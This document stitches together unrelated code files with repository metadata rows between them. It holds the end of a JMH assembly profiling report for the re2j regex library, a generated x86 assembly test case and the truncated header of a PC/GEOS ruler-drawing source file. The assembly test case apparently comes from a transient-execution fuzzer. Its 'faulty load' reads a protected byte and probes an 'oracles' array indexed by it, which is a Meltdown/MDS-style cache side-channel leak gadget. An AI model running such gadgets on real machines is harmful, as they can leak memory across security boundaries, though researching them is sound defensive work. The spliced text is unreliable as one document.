0.46% 0.58% │ 0x00007f000d2203e8: shl %cl,%rdi ;*lshl
│ ; - com.google.re2j.Machine$Queue::contains@12 (line 42)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@71 (line 267)
0.36% 0.37% │ 0x00007f000d2203eb: mov %r8,%rcx
0.41% 0.38% │ 0x00007f000d2203ee: and %rdi,%rcx ;*land
│ ; - com.google.re2j.Machine$Queue::contains@13 (line 42)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@71 (line 267)
0.02% │ 0x00007f000d2203f1: test %rcx,%rcx
│ 0x00007f000d2203f4: jne 0x00007f000d220991 ;*ifeq
│ ; - com.google.re2j.Machine$Queue::contains@16 (line 42)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@71 (line 267)
0.12% 0.21% │ 0x00007f000d2203fa: vmovd %xmm2,%ecx
0.07% 0.16% │ 0x00007f000d2203fe: cmp $0x40,%ecx
│ 0x00007f000d220401: jge 0x00007f000d2209dd ;*if_icmpge
│ ; - com.google.re2j.Machine$Queue::add@3 (line 51)
│ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ ; - com.google.re2j.Inst$Alt5Inst::add@71 (line 267)
0.52% 0.52% │ 0x00007f000d220407: or %rdi,%r8 ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52)
│ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ ; - com.google.re2j.Inst$Alt5Inst::add@71 (line 267)
0.02% 0.00% │ 0x00007f000d22040a: mov %r8,0x10(%rdx) ;*putfield pcsl
│ ; - com.google.re2j.Machine$Queue::add@15 (line 52)
│ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ ; - com.google.re2j.Inst$Alt5Inst::add@71 (line 267)
0.12% 0.17% │ 0x00007f000d22040e: vmovq %xmm4,%rcx
0.13% 0.11% │ 0x00007f000d220413: mov 0x3c(%rcx),%ebp ;*getfield inst4
│ ; - com.google.re2j.Inst$Alt5Inst::add@77 (line 268)
0.46% 0.39% │ 0x00007f000d220416: mov %r9,%rdi
0.01% 0.01% │ 0x00007f000d220419: add $0x18,%rdi
0.08% 0.11% │ 0x00007f000d22041d: vmovq %xmm1,%rsi
0.10% 0.14% │ 0x00007f000d220422: mov %rsi,%rcx
0.46% 0.65% │ 0x00007f000d220425: shr $0x3,%rcx
0.01% 0.00% │ 0x00007f000d220429: mov %ecx,(%rdi) ;*aastore
│ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@71 (line 267)
0.11% 0.09% │ 0x00007f000d22042b: mov 0x18(%rsp),%ecx
0.13% 0.07% │ 0x00007f000d22042f: add $0x3,%ecx
0.46% 0.43% │ 0x00007f000d220432: mov %ecx,0xc(%rdx) ;*putfield size
│ ; - com.google.re2j.Machine$Queue::addThread@12 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@71 (line 267)
0.01% 0.00% │ 0x00007f000d220435: shr $0x9,%rdi
0.14% 0.06% │ 0x00007f000d220439: mov %r12b,(%rbx,%rdi,1) ;*aastore
│ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@71 (line 267)
0.17% 0.12% │ 0x00007f000d22043d: mov 0x8(%r12,%rbp,8),%ecx ; implicit exception: dispatches to 0x00007f000d220c25
0.54% 0.50% │ 0x00007f000d220442: cmp $0xf8019909,%ecx ; {metadata('com/google/re2j/Inst$MatchInst')}
│ 0x00007f000d220448: jne 0x00007f000d22067d
0.02% 0.02% │ 0x00007f000d22044e: lea (%r12,%rbp,8),%rcx ;*invokevirtual add
│ ; - com.google.re2j.Inst$Alt5Inst::add@89 (line 268)
0.11% 0.15% │ 0x00007f000d220452: vmovq %rcx,%xmm1
0.12% 0.18% │ 0x00007f000d220457: mov 0x18(%rcx),%ecx ;*getfield pc
│ ; - com.google.re2j.Inst$MatchInst::add@2 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@89 (line 268)
0.55% 0.51% │ 0x00007f000d22045a: vmovd %ecx,%xmm3
0.01% 0.02% │ 0x00007f000d22045e: cmp $0x40,%ecx
│ 0x00007f000d220461: jg 0x00007f000d220a1d ;*if_icmpgt
│ ; - com.google.re2j.Machine$Queue::contains@3 (line 41)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@89 (line 268)
0.11% 0.16% │ 0x00007f000d220467: mov $0x1,%edi
0.11% 0.14% │ 0x00007f000d22046c: shl %cl,%rdi ;*lshl
│ ; - com.google.re2j.Machine$Queue::contains@12 (line 42)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@89 (line 268)
0.57% 0.56% │ 0x00007f000d22046f: mov %r8,%rcx
0.14% 0.10% │ 0x00007f000d220472: and %rdi,%rcx ;*land
│ ; - com.google.re2j.Machine$Queue::contains@13 (line 42)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@89 (line 268)
0.43% 0.38% │ 0x00007f000d220475: test %rcx,%rcx
│ 0x00007f000d220478: jne 0x00007f000d220a5d ;*ifeq
│ ; - com.google.re2j.Machine$Queue::contains@16 (line 42)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@89 (line 268)
0.03% 0.02% │ 0x00007f000d22047e: vmovd %xmm3,%ecx
0.11% 0.13% │ 0x00007f000d220482: cmp $0x40,%ecx
│ 0x00007f000d220485: jge 0x00007f000d220aa9 ;*if_icmpge
│ ; - com.google.re2j.Machine$Queue::add@3 (line 51)
│ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ ; - com.google.re2j.Inst$Alt5Inst::add@89 (line 268)
0.15% 0.15% │ 0x00007f000d22048b: mov %r10d,0xc(%rdx) ;*putfield size
│ ; - com.google.re2j.Machine$Queue::addThread@12 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@89 (line 268)
0.41% 0.60% │ 0x00007f000d22048f: vmovq %xmm4,%r10
0.00% 0.01% │ 0x00007f000d220494: mov 0x40(%r10),%ebp ;*getfield inst5
│ ; - com.google.re2j.Inst$Alt5Inst::add@95 (line 269)
0.14% 0.11% │ 0x00007f000d220498: mov %r9,%rcx
0.14% 0.11% │ 0x00007f000d22049b: add $0x1c,%rcx ;*aastore
│ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@89 (line 268)
0.41% 0.43% │ 0x00007f000d22049f: or %rdi,%r8 ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52)
│ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ ; - com.google.re2j.Inst$Alt5Inst::add@89 (line 268)
0.02% │ 0x00007f000d2204a2: mov %r8,0x10(%rdx) ;*putfield pcsl
│ ; - com.google.re2j.Machine$Queue::add@15 (line 52)
│ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ ; - com.google.re2j.Inst$Alt5Inst::add@89 (line 268)
0.09% 0.12% │ 0x00007f000d2204a6: vmovq %xmm1,%r10
0.12% 0.14% │ 0x00007f000d2204ab: shr $0x3,%r10
0.55% 0.50% │ 0x00007f000d2204af: mov %r10d,(%rcx)
0.02% 0.03% │ 0x00007f000d2204b2: mov %rcx,%r10
0.10% 0.13% │ 0x00007f000d2204b5: shr $0x9,%r10
0.13% 0.15% │ 0x00007f000d2204b9: mov %r12b,(%rbx,%r10,1) ;*aastore
│ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@89 (line 268)
0.46% 0.46% │ 0x00007f000d2204bd: mov 0x8(%r12,%rbp,8),%r10d ; implicit exception: dispatches to 0x00007f000d220c4d
0.01% 0.03% │ 0x00007f000d2204c2: cmp $0xf8019909,%r10d ; {metadata('com/google/re2j/Inst$MatchInst')}
│ 0x00007f000d2204c9: jne 0x00007f000d2206b1
0.17% 0.11% │ 0x00007f000d2204cf: lea (%r12,%rbp,8),%rdi ;*invokevirtual add
│ ; - com.google.re2j.Inst$Alt5Inst::add@107 (line 269)
0.10% 0.14% │ 0x00007f000d2204d3: mov 0x18(%rdi),%ecx ;*getfield pc
│ ; - com.google.re2j.Inst$MatchInst::add@2 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@107 (line 269)
0.49% 0.52% │ 0x00007f000d2204d6: cmp $0x40,%ecx
│ 0x00007f000d2204d9: jg 0x00007f000d220ae9 ;*if_icmpgt
│ ; - com.google.re2j.Machine$Queue::contains@3 (line 41)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@107 (line 269)
0.01% 0.01% │ 0x00007f000d2204df: shl %cl,%rax ;*lshl
│ ; - com.google.re2j.Machine$Queue::contains@12 (line 42)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@107 (line 269)
0.74% 0.62% │ 0x00007f000d2204e2: mov %r8,%r10
0.01% 0.01% │ 0x00007f000d2204e5: and %rax,%r10 ;*land
│ ; - com.google.re2j.Machine$Queue::contains@13 (line 42)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@107 (line 269)
0.12% 0.12% │ 0x00007f000d2204e8: test %r10,%r10
│ 0x00007f000d2204eb: jne 0x00007f000d220b11 ;*ifeq
│ ; - com.google.re2j.Machine$Queue::contains@16 (line 42)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@107 (line 269)
0.15% 0.11% │ 0x00007f000d2204f1: cmp $0x40,%ecx
│ 0x00007f000d2204f4: jge 0x00007f000d220b49 ;*if_icmpge
│ ; - com.google.re2j.Machine$Queue::add@3 (line 51)
│ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ ; - com.google.re2j.Inst$Alt5Inst::add@107 (line 269)
0.46% 0.53% │ 0x00007f000d2204fa: or %rax,%r8
0.02% 0.01% │ 0x00007f000d2204fd: mov %r8,0x10(%rdx) ;*putfield pcsl
│ ; - com.google.re2j.Machine$Queue::add@15 (line 52)
│ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ ; - com.google.re2j.Inst$Alt5Inst::add@107 (line 269)
0.10% 0.13% │ 0x00007f000d220501: add $0x20,%r9
0.09% 0.11% │ 0x00007f000d220505: mov %rdi,%r10
0.49% 0.55% │ 0x00007f000d220508: shr $0x3,%r10
0.01% 0.01% │ 0x00007f000d22050c: mov %r10d,(%r9) ;*aastore
│ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@107 (line 269)
0.16% 0.10% │ 0x00007f000d22050f: mov %r9,%r10
0.11% 0.08% │ 0x00007f000d220512: mov 0x18(%rsp),%r11d
0.49% 0.25% │ 0x00007f000d220517: add $0x5,%r11d
0.01% │ 0x00007f000d22051b: mov %r11d,0xc(%rdx) ;*putfield size
│ ; - com.google.re2j.Machine$Queue::addThread@12 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@107 (line 269)
0.10% 0.08% │ 0x00007f000d22051f: shr $0x9,%r10
0.09% 0.21% │ 0x00007f000d220523: mov %r12b,(%rbx,%r10,1) ;*if_icmpgt
│ ; - com.google.re2j.Machine$Queue::contains@3 (line 41)
│ ; - com.google.re2j.Inst$Alt5Inst::add@5 (line 260)
0.44% 0.53% │ 0x00007f000d220527: xor %eax,%eax
0.01% 0.01% │ 0x00007f000d220529: add $0x60,%rsp
0.11% 0.18% │ 0x00007f000d22052d: pop %rbp
0.15% 0.14% │ 0x00007f000d22052e: test %eax,0x18acaacc(%rip) # 0x00007f0025ceb000
│ ; {poll_return}
1.37% 1.43% │ 0x00007f000d220534: retq ;*aastore
│ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
↘ 0x00007f000d220535: mov $0xffffffe4,%esi
0x00007f000d22053a: vmovq %xmm4,%rbp
0x00007f000d22053f: mov %rdx,0x70(%rsp)
0x00007f000d220544: vmovss %xmm0,(%rsp)
0x00007f000d220549: vmovsd %xmm6,0x8(%rsp)
0x00007f000d22054f: mov %r9d,0x4(%rsp)
....................................................................................................
36.32% 36.45% <total for region 2>
....[Hottest Regions]...............................................................................
59.78% 60.72% C2, level 4 com.google.re2j.Machine::match, version 543 (1802 bytes)
36.32% 36.45% C2, level 4 com.google.re2j.Inst$Alt5Inst::add, version 505 (852 bytes)
0.58% 0.56% [kernel.kallsyms] [unknown] (6 bytes)
0.27% 0.04% C2, level 4 com.google.re2j.RE2::match, version 550 (160 bytes)
0.18% 0.08% C2, level 4 java.util.Collections::shuffle, version 557 (195 bytes)
0.16% 0.07% C2, level 4 com.google.re2j.RE2::match, version 550 (33 bytes)
0.12% 0.03% [kernel.kallsyms] [unknown] (28 bytes)
0.12% 0.05% C2, level 4 com.google.re2j.RE2::match, version 550 (0 bytes)
0.11% 0.00% [kernel.kallsyms] [unknown] (51 bytes)
0.09% C2, level 4 com.google.re2j.RE2::match, version 550 (82 bytes)
0.08% 0.01% [kernel.kallsyms] [unknown] (43 bytes)
0.08% C2, level 4 com.google.re2j.RE2::match, version 550 (86 bytes)
0.07% 0.07% C2, level 4 com.google.re2j.RE2::match, version 550 (0 bytes)
0.06% 0.06% C2, level 4 com.google.re2j.RE2::match, version 550 (0 bytes)
0.06% 0.02% C2, level 4 com.github.arnaudroger.re2j.generated.Re2jFindRegex_testExp2_jmhTest::testExp2_thrpt_jmhStub, version 593 (91 bytes)
0.04% C2, level 4 com.google.re2j.Machine::match, version 543 (24 bytes)
0.04% 0.11% libjvm.so _ZN13RelocIterator10initializeEP7nmethodPhS2_ (102 bytes)
0.04% 0.02% [kernel.kallsyms] [unknown] (0 bytes)
0.04% 0.03% [kernel.kallsyms] [unknown] (33 bytes)
0.04% 0.00% C2, level 4 com.google.re2j.RE2::match, version 550 (106 bytes)
1.70% 1.65% <...other 345 warm regions...>
....................................................................................................
99.99% 100.00% <totals>
....[Hottest Methods (after inlining)]..............................................................
59.82% 60.74% C2, level 4 com.google.re2j.Machine::match, version 543
36.32% 36.45% C2, level 4 com.google.re2j.Inst$Alt5Inst::add, version 505
1.69% 1.36% [kernel.kallsyms] [unknown]
1.01% 0.37% C2, level 4 com.google.re2j.RE2::match, version 550
0.25% 0.12% C2, level 4 java.util.Collections::shuffle, version 557
0.14% 0.06% C2, level 4 com.github.arnaudroger.re2j.generated.Re2jFindRegex_testExp2_jmhTest::testExp2_thrpt_jmhStub, version 593
0.08% 0.02% [vdso] [unknown]
0.06% 0.05% hsdis-amd64.so [unknown]
0.04% 0.11% libjvm.so _ZN13RelocIterator10initializeEP7nmethodPhS2_
0.03% 0.01% libpthread-2.26.so __pthread_disable_asynccancel
0.03% 0.06% libc-2.26.so vfprintf
0.03% libc-2.26.so __clock_gettime
0.02% 0.00% libc-2.26.so _IO_fflush
0.02% 0.01% libjvm.so _ZN12outputStream12do_vsnprintfEPcmPKcP13__va_list_tagbRm
0.02% 0.03% libjvm.so _ZN12outputStream15update_positionEPKcm
0.02% C2, level 4 org.openjdk.jmh.infra.Blackhole::consume, version 551
0.02% libjvm.so _ZN13defaultStream5flushEv
0.01% 0.03% libjvm.so _ZN10fileStream5writeEPKcm
0.01% 0.05% libc-2.26.so _IO_fwrite
0.01% 0.01% libc-2.26.so _IO_vsnprintf
0.30% 0.31% <...other 53 warm methods...>
....................................................................................................
99.99% 99.82% <totals>
....[Distribution by Source]........................................................................
97.57% 97.73% C2, level 4
1.69% 1.36% [kernel.kallsyms]
0.33% 0.44% libjvm.so
0.18% 0.32% libc-2.26.so
0.08% 0.02% [vdso]
0.06% 0.06% hsdis-amd64.so
0.05% 0.06% libpthread-2.26.so
0.02% 0.00% interpreter
....................................................................................................
99.99% 100.00% <totals>
# Run complete. Total time: 00:00:45
Benchmark Mode Cnt Score Error Units
Re2jFindRegex.testExp2 thrpt 20 20307.455 ± 80.822 ops/s
Re2jFindRegex.testExp2:·asm thrpt NaN ---
| 110.847242
| 172
| 0.345168
|
34fa3f9b738873aa27c18d64af7857364f2a5360
| 7,784
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1875.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1875.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1875.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x19d63, %rsi
lea addresses_UC_ht+0x7d63, %rdi
clflush (%rdi)
cmp %r12, %r12
mov $118, %rcx
rep movsq
add $47234, %rsi
lea addresses_A_ht+0x13a03, %rsi
lea addresses_WC_ht+0xbef9, %rdi
nop
nop
nop
nop
and %rax, %rax
mov $11, %rcx
rep movsw
nop
add %rsi, %rsi
lea addresses_A_ht+0xd63, %rsi
lea addresses_UC_ht+0xa07, %rdi
nop
cmp $5980, %r15
mov $17, %rcx
rep movsw
nop
nop
sub %rcx, %rcx
lea addresses_WT_ht+0xae4a, %rsi
lea addresses_A_ht+0x73e3, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add $23607, %rax
mov $11, %rcx
rep movsq
sub %r15, %r15
lea addresses_UC_ht+0x10db3, %r15
and %r8, %r8
movw $0x6162, (%r15)
nop
nop
nop
nop
nop
xor %r12, %r12
lea addresses_A_ht+0x10663, %rsi
lea addresses_WC_ht+0xbaa3, %rdi
nop
nop
nop
nop
nop
and %r14, %r14
mov $91, %rcx
rep movsl
nop
nop
nop
add $62571, %r15
lea addresses_UC_ht+0x1c9e3, %rsi
lea addresses_WT_ht+0xd763, %rdi
nop
nop
nop
sub %r15, %r15
mov $14, %rcx
rep movsq
nop
nop
nop
cmp %rdi, %rdi
lea addresses_D_ht+0x9863, %r8
and $21539, %rcx
vmovups (%r8), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %r15
nop
nop
nop
nop
xor $56271, %rax
lea addresses_normal_ht+0x18543, %rsi
lea addresses_WC_ht+0x489e, %rdi
nop
nop
nop
sub %r14, %r14
mov $104, %rcx
rep movsl
nop
nop
nop
cmp $55279, %r8
lea addresses_WC_ht+0x18563, %rcx
nop
nop
cmp %rsi, %rsi
mov $0x6162636465666768, %r12
movq %r12, (%rcx)
nop
nop
nop
nop
add %r15, %r15
lea addresses_UC_ht+0x11063, %rsi
lea addresses_UC_ht+0x1dec3, %rdi
nop
nop
nop
nop
sub %r15, %r15
mov $127, %rcx
rep movsl
cmp $8781, %rdi
lea addresses_WC_ht+0x19cc3, %rsi
lea addresses_D_ht+0x1c163, %rdi
nop
nop
nop
nop
nop
xor %r12, %r12
mov $105, %rcx
rep movsl
nop
nop
nop
nop
nop
xor %r8, %r8
lea addresses_normal_ht+0x1d503, %r14
nop
nop
nop
nop
nop
add %r12, %r12
movw $0x6162, (%r14)
lfence
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r8
push %r9
push %rcx
push %rdi
// Store
mov $0x1c0cef0000000733, %r14
xor $53131, %r9
mov $0x5152535455565758, %r8
movq %r8, %xmm5
vmovups %ymm5, (%r14)
nop
nop
nop
nop
nop
and %r14, %r14
// Faulty Load
lea addresses_RW+0x1c963, %rdi
nop
nop
nop
nop
nop
sub $43675, %r9
movb (%rdi), %r8b
lea oracles, %rdi
and $0xff, %r8
shlq $12, %r8
mov (%rdi,%r8,1), %r8
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 33.843478
| 2,999
| 0.660457
|
a33c2b53907d7c17b67949d5a74ac4e1555f8a10
| 9,764
|
asm
|
Assembly
|
Library/Text/Ruler/rulerDraw.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/Text/Ruler/rulerDraw.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/Text/Ruler/rulerDraw.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @----------------------------------------------------------------------
Copyright (c) Berkeley Softworks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Text
FILE: rulerDraw.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 4/92 Initial version
DESCRIPTION:
This file contains code to implement the drawing for TextRulerClass
$Id: rulerDraw.asm,v 1.1 97/04/07 11:19:49 newdeal Exp $
------------------------------------------------------------------------------@
TEXT_RULER_TOP_ARROW_X = 7
TEXT_RULER_TOP_ARROW_Y = 3
;---
RulerCommon segment resource
COMMENT @----------------------------------------------------------------------
MESSAGE: TextRulerDraw -- MSG_VIS_DRAW for TextRulerClass
DESCRIPTION: Draw the ruler
PASS:
*ds:si - instance data
es - segment of TextRulerClass
ax - The message
cl - draw flags
bp - gstate
RETURN:
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
